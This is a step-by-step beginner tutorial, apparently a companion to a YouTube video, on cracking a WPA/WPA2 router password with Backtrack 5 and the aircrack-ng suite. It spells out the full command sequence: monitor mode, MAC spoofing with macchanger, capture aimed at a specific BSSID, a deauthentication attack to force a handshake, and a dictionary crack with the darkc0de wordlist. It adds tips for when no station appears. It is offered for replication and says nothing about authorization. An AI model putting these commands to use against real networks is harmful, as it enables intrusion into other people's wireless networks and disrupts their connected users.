VIDEO: Hacking - How to hack a WPA/WPA2 Router - For Beginners
LINK: http://www.youtube.com/watch?v=E0JB3heWnyI
PROGRAMS USED: Backtrack 5 KDE 32bit / aircrack-ng suite
THIS DOCUMENT WRITTEN BY: R4V3N7A7700

This write up is an explanation of the video titled above. I will break down all of the commands used which were specific to my computer and my access point. If you are attempting to replicate this attack, please note that you will be unsuccessful if you type in the incorrect MAC and/or AP information. You must enter in specific information which is relevant for your situation, not mine. Please also note that there are many variations of this attack, this is just one example. If you would like to learn more, please inquire about my CWSP course. admin@top-hat-sec.com .

The first thing that I do is locate my wordlist by navigating to the **dolphin file manager** which is by default on the Backtrack 5 toolbar at the bottom of the screen. It looks like a file drawer.

Once in the file manager click on the left side on the " **Root** " folder

Once in the Root folder then locate and open the " **Pentest** " folder.

Once in the Pentest folder then locate and open the " **passwords** " folder.

Once in the passwords folder then locate and open the " **wordlists** " folder.

Locate the wordlist file " **darkc0de.lst** " and drag or copy it to the desktop.

Open a Console (Console 1)

I type the command " **airmon-ng** " (This will show if I have any compatible Wi-Fi interfaces).

I type the command " **airmon-ng start wlan0** "

I type the command " **ifconfig mon0 down** "

I type the command " **macchanger –m 00:11:22:33:44:55 mon0** " (This will fake my MAC address to 00:11:22:33:44:55).

I type the command " **ifconfig mon0 up** "

I type the command " **airodump-ng mon0** "

I hold down the " **control (CTRL)** " key and press " **C** "

I specify my target information by typing " **airodump-ng –c 1 –w wpacrack10 –bssid C0:83:0A:BB:45:D9 –ivs mon0** "

Make sure that a station appears otherwise we will not be able to do the attack.

Open another Console (Console 2)

I type the command " **aireplay-ng -0 1 –e 2WIRE024 mon0** "

wait for **WPA handshake** which will appear at the top right side of the airodump-ng screen on console 1. If no WPA Handshake is captured then you will need to make sure a station is connected to the access point. If no station is connected, then you will need to wait until a station connects.

I then type the command " **aircrack-ng –w /root/Desktop/darkc0de.lst WPACRACK10-01.ivs** "

CLOSING COMMENTS:

Cracking WPA and/or WPA2 is not always going to work. The aircrack-ng suite uses a dictionary attack which means that the password must be in our wordlist or dictionary. The aircrack-ng program is not going to generate random passwords for you or try and piece a password together like a puzzle. That is done in the movies. Either a password is an exact match or it is not. There are some methods of attempting to find out the character length of a password but that method is used for a different type of cracking or hack. There must be another station connected to the AP otherwise it is impossible to capture a WPA handshake so make sure that there is a station connected. Sometimes you can send a deauth before a station appears and you will capture the handshake, this is because the airodump-ng scan has not noticed that the station was there yet. For example, If a station is idle and is not communicating with the AP, it may appear that no station is connected, however when the deauth hits it, it will create communication and airodump-ng will pick it up.

- R4V3N7A7700